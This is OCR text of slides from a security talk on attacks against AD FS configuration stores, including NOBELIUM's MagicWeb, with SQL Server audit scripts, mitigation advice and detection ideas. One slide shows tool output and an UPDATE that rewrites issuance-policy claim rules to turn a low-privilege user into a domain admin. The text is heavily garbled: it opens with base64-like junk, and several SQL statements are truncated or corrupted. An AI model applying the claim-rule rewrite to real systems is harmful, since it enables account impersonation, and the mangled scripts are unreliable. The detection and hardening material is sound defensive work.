+91x9VONc8/8RQp27zve2NZwkQIT5eEo7gk88kKcok78+uD9hI1QK5a/AB3+26YeyTFO9wlCHBA4ACTfgbysvxScC3ECBv2kXYab5U6Bo6kQ4adhrh8Z
+VS0z1SKake36VpK4vBHhrz1lrNA4+hFGUtoMKKk3+QAk2S68DSOi+gzBCZCP6pPpwHSibZIU37dXxQHsEoDhDyapgXZBrufOBPSVQ3TUpKL9izjVvABFG
+yI2UIY1IrXS2EwWzOYS5GTOvemKgnle/od2kSd39azqvtyaeiiSRpWNYD7 Tn8hokVFIgXNHmMAR2T/8TvkS70ONLTKY82WAP01ql5sB/ XAJHxnkpeUkcr
kaiCLgikPBded5D8FmrMplppMMpFkO5+mjP+GpxcGCedtmSC+wbIRSKWTY802tAjoYPZzXmcFpZrwGR4TLejleypvbaleDGrlf230a/e3YQ474Y1MW
+LY5H995tMuQuAL9UF3+UZJk2Fhv240FDaFjAESZFlcPNRGlkglcBptqGQArnpndKNDRXnytzKE?LwMAppDnF7]5R6lebTDJ1ut]canqRHlng20

AvrA —d L ARA _lom L L LR A el e L v A oL Sl v A Lmm ol v AL nddm e v iman o damaiAaAal o ArArEr A TAaR=EAaT™ L _wiloes dowriio sl LA
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The following SQL query will enable logging for all SELECT statements against ServiceSettings table. The server level auditing created in row 3 is attached to
Application Log and enabled in row 5. In row 7, use the correct database name from the connection string above (depends on the AD FS version). The
database level auditing is defined in row 9 to include all SELECT statements against ServiceSettings table, and enabled in row 11.

o

USE [master]

GO

CREATE SERVER AUDIT [ADFS AUDIT APPLICATION LOG] TO APPLICATION LOG WITH (QUEUE DELAY = » ON FATLURE = CONTINUE)
GO

ALTER SERVER AUDIT [ADFS_AUDIT APPLICATION_ LOG] WITH (STATE = ON)

GO

USE [ADFSConfigurationV4]

GO

GO

ALTER DATABASE AUDIT SPECIFICATION [ADFS SETTINGS ACCESS AUDIT] WITH (STATE = ON)
GO

CREATE DATABASE AUDIT SPECIFICATION [ADFS SETTINGS ACCESS AUDIT] FOR SERVER AUDIT [ADFS AUDIT APPLICATION LOG] ADD (SELE

As a result, all queries for ServiceSettings are now logged to Application log with event id 33205. If the server_principal_name is not the AD FS service user,
the alert should be raised.

W/ TH
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https:/fwww.microsoft.com/en-us/security/blog/2022/08/24/magicweb-nobeliums- post-compromise-trick-to-authenticate-as-anyone/

How to mitigate this threat

NOBELIUM's ability to deploy MagicWeb hinged on having access to highly privileged credentials that
had administrative access to the AD FS servers, giving them the ability to perform whatever malicious
activities they wanted to on the systems they had access to.

It's critical to treat your AD FS servers as a Tier O asset, protecting them with the same protections you
would apply to a domain controller or other critical security infrastructure. AD FS servers provide
authentication to configured relying parties, so an attacker who gains administrative access to an AD
FS server can achieve total control of authentication to configured relying parties (include Azure AD
tenants configured to use the AD FS server). Practicing credential hygiene is critical for protecting and
preventing the exposure of highly privileged administrator accounts. This especially applies on more
easily compromised systems like workstations with controls like logon restrictions and preventing

lateral movement to these systems with controls like the Windows Firewall.

Migration to Azure Active Directory (Azure AD) authentication is recommended to reduce the risk of
on-premises compromises moving laterally to your authentication servers. Customers can use the
following references on migration:

e Use the activity report to move AD FS apps to Azure AD

e Move application authentication to Azure AD

W/ TH
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Audit on Policies UPDATE

USE [master]
GO

SERVER AUDIT [ADFS_AUDIT_APPLICATION_UPDATE_LOG_POLICY] TO APPLICATION_LOG WITH (QUEUE_DELAY = 1000,
ON_FAILURE = CONTINUE)
GO

SERVER AUDIT [ADFS_AUDIT_APPLICATION_UPDATE_LOG_POLICY] WITH (STATE =
GO
USE [ADFSConfigurationV4]
GO

DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_UPDATE_AUDIT_POLICY] FOR SERVER AUDIT
[ADFS_AUDIT_APPLICATION_UPDATE_LOG_POLICY] ADD ( OBJECT::[IdentityServerPolicy].[Policies]
[public])
GO

DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS _UPDATE_AUDIT_POLICY] WITH (STATE =
GO

W/ TH
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[*] Login: sa

[*] Login: CONTOS50VAdministrator
[*] Login: CONTOSOMADFSgMSAS

[*] Login: CONTOS0%\lowpriv

[*]1 Number of rows: 1
[*] Config Table: 'AdfsConfigurationV4'
[*] AD FS Version: 'Adfs2019'

)
> I AM SURE THAT I WANT TO MAKE CHANGES
)
> I AM SURE THAT I WANT TO MAKE CHANGES
[i] Policyld: cO4ec2cB-boc2-eell-9e51-000c29%db2aet
[i] PolicyData: @RuleName = "ActiveDirectoryUserSID"
c:[Type == "http://schemas.microsoft.com/ws/2808/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
=> issue(store = "Active Directory”, types = ("http://schemas.microsoft.com/ws/2808/06/identity/claims/primarysid"), query = " ;object5ID;{@}", param = RegExReplace(c.Value, "CONTOSO\\lowpriv", "CONTOS0\domainadmin™)}
@RuleName = "ActiveDirectoryUPN"
c:[Type == "http://schemas.microsoft.com/ws/2808/06/identity/claims/windowsaccountname”, Issuer == "AD AUTHORITY"]
=» issue(store = "Active Directory”, types = ("http://schemas.xmlsoap.org/ws/2005/85/identityfclaims/upn”), query = " juserPrincipalName;{@}", param = RegExReplace(c.Value, "CONTOS0\\lowpriv", "CONTO50\domainadmin"));
[i] PolicyType: IssuancePolicy
[i] Policyusage: @
[i] PolicyId: dddec2cB-bbc2-eell-9e51-000c29db2aet
[i] PolicyData: @RuleName = "ActiveDirectorylUserSID"
c:[Type == "http://schemas . microsoft.com/ws/2808/086/identity/claims/windowsaccountname”, Issuer == "AD AUTHORITY"]
=» issue(store = "Active Directory", types = ("http://schemas.microsoft.com/ws/2@0@88/B6/identity/claims/primarysid"), gquery = ";object5ID;{@}", param = RegExReplace(c.Value, "CONTO50V\lowpriv", "CONTO50‘domainadmin"))
@RuleName = "ActiveDirectoryUPN"
c:[Type == "http://schemas.microsoft.com/ws/28@8/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
=» issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2@085/85/identity/claims/upn"), query = ";userPrincipalName;{@}", param = RegExReplace(c.Value, "CONTOSO\‘\lowpriv", "CONTO50\domainadmin"});

[i] PolicyType: IssuancePolicy
[i] Policyusage: @

INTERNAL




Info Leak

UPDATE statement

Client application_name

/

Client host_name

INTERNAL

Event 33203, M55CLSERVER

General Details

target database_principal_name:
server_instance_name: 50001
database_nameAdfsConfigurationV4
/ schema_nameldentityServerPolicy
ohject_name:Policies
staternent:UPDATE AdfsConfigurationVd.ldentityServerPolicy.Policies
SET
PolicyData = N'@RuleMName = "ActiveDirectoryUsersID”
c:[Type == "http://schemas.microsoft.com,/ws/2008/06/identity/claims/windowsaccountname”, lssuer == "AD AUTHORITY"]
=> issue(store = "Active Directory”, types = ("http://schemas.microsoft.com,/ws/2008/06/identity/claims/primarysid"), query =
“objectSID {0}, param = RegExReplace(c.Value, "COMNTOSD W owpriv", "CONTOS0Ndemainadmin®));

N

@RuleMame = "ActiveDirectoryUPM"

c[Type == "http://schemas.microsoft.com,ws/2008/06/identity/claims/windowsaccountname”, Issuer == "AD AUTHORITY"]
== issue(store = "Active Directory”, types = ("http://schemasxmlscap.org/ws/2005/05/identity/claims/upn"), query =
“userPrincipalMame{0}", param = RegExReplace(c.Value, "CONTOSO\\owpriv", "CONTOSOdomainadmin"]);

1
[

PolicyType = M'lssuancePolicy’,

\ PolicyUsage =0

WHERE Policyld = CAST('dddecdcl-bbc2-eel1-9e51-000c29db2aek’ AS uniqueidentifier)
additional_information:

user_defined_information:

|y |application_namepymssgl=2.2.11
cennection_id:D0BAEBEC-DA4D-4AB2-9040-B5C3A54F533C
data_sensitivity_information:

_w |host_name:computer

Log Mame: Application

Source: MSSCOLSERVER Logged: 2/5/2024 2:01:56 AM
Event ID: 33205 Task Category: Mone

Level: Information Keywords: Classic,Audit Success
User: M/A Computer: 50L0.contoso.local
OpCode:

More Information:  Event Log Online Help




Potential high-fidelity detection opportunities

e ‘“application_name’ and "host_name" attributes of the UPDATE statement event logs disclose the connecting application name
and the hostname of the connecting box

* E.g. impacket’s mssqlclient.py results in a pseudo-random application_name (e.g. NVdUvkbr) and host_name (e.g. DGEXLSaM)

* Other clients will have the library / client name (e.g. pymssql=2.2.11) (SSMS e.g. .Net SqlClient Data Provider)
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Also treat the MSSQL configuration store as tier O!

Core security best practices for AD FS

The following core best practices are common to all AD FS installations where you want

to improve or extend the security of your design or deployment:
e Secure AD FS as a "Tier 0" system

Because AD FS is fundamentally an authentication system, it should be treated as a
"Tier 0" system like other identity systems on your network. For more information,

see Active Directory administrative tier model.

C O E] aadinternals.com

v 40 | of M — +  Automatic Zoom v

Treat also SQL server as Tier-0!
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References

* https://troopers.de/downloads/troopers19/TROOPERS19 AD_AD_FS.pdf

* https://www.praetorian.com/blog/relaying-to-adfs-attacks/

* https://aadinternals.com/talks/Eight%20ways%20t0%20compromise%20AD%20FS%20certificates.pdf

* https://threathunting.dev/resources/raw/20210924 AttackingandDefendinghybridAD_BsidesSG_2021.pdf
* https://www.hunters.security/en/blog/adfs-threat-hunting

* https://www.hunters.security/en/blog/adfs-threat-hunting-2-golden-saml
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Call for help

I'm still looking for actual samples of MagicWeb

* Microsoft didn't release hashes

* Samples that aren't behind an NDA

* |If you or someone you know is feeling generous

* Microsoft.ldentityServer.Diagnostics.dll

* magicwebsample at protonmail dot com

e scan the QR get the email
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